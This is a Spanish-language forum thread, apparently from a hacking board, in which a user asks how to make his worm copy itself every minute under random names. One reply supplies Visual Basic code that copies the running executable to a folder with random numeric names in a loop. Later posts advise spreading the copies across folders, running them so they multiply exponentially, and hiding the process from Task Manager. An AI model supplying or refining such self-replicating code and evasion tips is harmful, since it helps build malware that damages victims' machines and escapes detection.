Autocopiarse cada minuto

[xhc]

Hola, como puedo hacer para que mi worm se copie cada minuto con nombres aleatorios

[Karcrack]

Código (vb) [Seleccionar] Expandir

Private Declare Function GetTickCount& Lib "kernel32" ()
Sub main()
    Infectar
End Sub

Public Function Infectar()
    Dim Yo As String, Ruta As String
    Yo = App.Path & "\" & App.EXEName & ".exe"
    Ruta = "C:\CARPETA\RUTA\QUE\QUIERAS"
    FileCopy Yo, Ruta & "\" & Aleatorio & ".exe"
    Esperar (1000)
End Function

Public Function Esperar(Time As Long)
    tmp As Long
    tmp = Time + GetTickCount&
    While tmp >= GetTickCount&
        DoEvents
    Wend
    Infectar
End Function

Private Function Aleatorio() As Long
    Randomize
    Aleatorio = CLng((100000 - 999999) * Rnd + 999999)
End Function

Que lo disfrutes....
Pero deberias haverlo hecho tu
PD: Si no entiendes algo pregunta.

[byebye]

copiarse cade minuto....... un programa por ejemplo de 1 mb y un ordenador encendido  algun tiempo puede hacer sospechar a cualquiera que algo raro pasa.

[xhc]

bueno lo unico que no entiendo es lo de esperar

[~~]

Pues para esperar un minuto usa un timer. Si necesitas esperar mas tiempo del q alcanza el intervalo del timer pues usas un contador. Lo explico en pocas palabras por q con esta ya lo e debido de explicar como 1000 veces, busca por el foro, q ya esta muy dicho....

[xhc]

lo de poner un timer si lo sabia pero no esta funcion :

Código [Seleccionar] Expandir

Public Function Esperar(Time As Long)
    tmp As Long
    tmp = Time + GetTickCount&
    While tmp >= GetTickCount&
        DoEvents
    Wend
    Infectar
End Function

[Karcrack]

lo de poner un timer si lo sabia pero no esta funcion :

Código [Seleccionar] Expandir

Public Function Esperar(Time As Long)
    tmp As Long
    tmp = Time + GetTickCount&
    While tmp >= GetTickCount&
        DoEvents
    Wend
    Infectar
End Function

-->VAGO!!!<--

PD: Te he dado un link

[black_jjk]

La verdad se me hace poco ingenioso el código, si lo que quieres es que cada minuto se copie lo del timer esta bien pero deberias probar cambiar el nombre del archivo con algo más ingenioso por ejemplo usar una combinación de carácteres y números en lugar de solo números, además de probar una matríz para los nombres de la carpeta, para que así se autocopie en diferentes carpetas en lugar de solo una en específico, además de crear una lista con la ubicación más de uno de los nuevos gusanos, para que así se puedan ejecutar estos o mejor aun hacer que se ejecuten a tráves de una instrucción, de esa manera la cantidad de archivos se multiplica exponencialmente.
por último te recomiendo que crees un programa que controle al gusanito para que no se ejecute más de n cantidad de veces al mismo tiempo y agregale una instrucción para que no aparezca en la ventana de "Administrador de Tareas".

Creo que con la ayuda que te dieron es suficiente para que lo desarrolles tu, yo solo opino que hay que tener un poco más de imaginación, pero eso es cosa de cada quien, si necesitas ayuda con tu código postealo y luego lo reviso.

[xhc]

pero solo es una funcion "secundaria", no creo que se de cuenta de la carpeta donde se copian. Estaba haciendo un worm perohace poco se me jodio el sector de arranque y se me borro, ahora estoy volviendo a hacer uno, en que acabe los examenes y tenga tiempo lo hare, posteare el codigo si queris

saludos

[jetrel]

que instruccion hay que poner para que no aparezca en la ventana de "Administrador de Tareas"?
gracias